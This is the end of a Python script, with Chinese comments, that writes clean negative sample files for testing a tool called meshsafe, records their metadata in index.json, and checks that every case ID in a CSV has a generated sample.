zf.writestr("mimetype", "application/vnd.oasis.opendocument.text")
|
||
zf.writestr("content.xml", "<office:document-content/>")
|
||
write_bytes(f"{cid}_clean.odt", buf.getvalue())
|
||
add_meta(cid, f"{cid}_clean.odt", "NEG", "pass", [])
|
||
elif isinstance(content, bytes):
|
||
fname = f"{cid}_clean.{ext}"
|
||
write_bytes(fname, content)
|
||
add_meta(cid, fname, "NEG", "pass", [])
|
||
elif isinstance(content, str):
|
||
fname = f"{cid}_clean.{ext}"
|
||
write_text(fname, content)
|
||
add_meta(cid, fname, "NEG", "pass", [])
|
||
|
||
# ====================================================================
|
||
# 写 index.json
|
||
# ====================================================================
|
||
index = {
|
||
"meshsafe_target_version": "v0.2.1",
|
||
"generated_at": __import__("datetime").datetime.now().isoformat(),
|
||
"csv_source": str(CSV_PATH.name),
|
||
"samples": meta_list,
|
||
}
|
||
index_path = OUT_DIR / "index.json"
|
||
# 备份旧 index.json
|
||
if index_path.exists():
|
||
import shutil
|
||
shutil.copy(index_path, OUT_DIR / "_index_backup_pre_csv.json")
|
||
index_path.write_text(json.dumps(index, ensure_ascii=False, indent=2), encoding="utf-8")
|
||
|
||
print(f"✅ 生成完成！")
|
||
print(f" 样本目录: {OUT_DIR}")
|
||
print(f" 文件数: {sum(1 for p in OUT_DIR.iterdir() if p.is_file())}")
|
||
print(f" 元数据: index.json 含 {len(meta_list)} 条")
|
||
|
||
# 统计各层
|
||
from collections import Counter
|
||
cnt = Counter(m["category"] for m in meta_list)
|
||
print(f" 各层分布: {dict(cnt)}")
|
||
|
||
# 检查 case_id 覆盖率
|
||
with open(CSV_PATH, "r", encoding="utf-8") as f:
|
||
csv_ids = set(row["用例ID"].strip() for row in csv.DictReader(f))
|
||
gen_ids = set(m["case_id"] for m in meta_list)
|
||
missing = csv_ids - gen_ids
|
||
if missing:
|
||
print(f"\n⚠️ CSV 里 {len(missing)} 条用例还没生成样本:")
|
||
for mid in sorted(missing):
|
||
print(f" - {mid}")
|
||
else:
|
||
print(f"\n✅ CSV 全部 {len(csv_ids)} 条用例都已对应样本")
|
||
|
||
if __name__ == "__main__":
|
||
generate()
|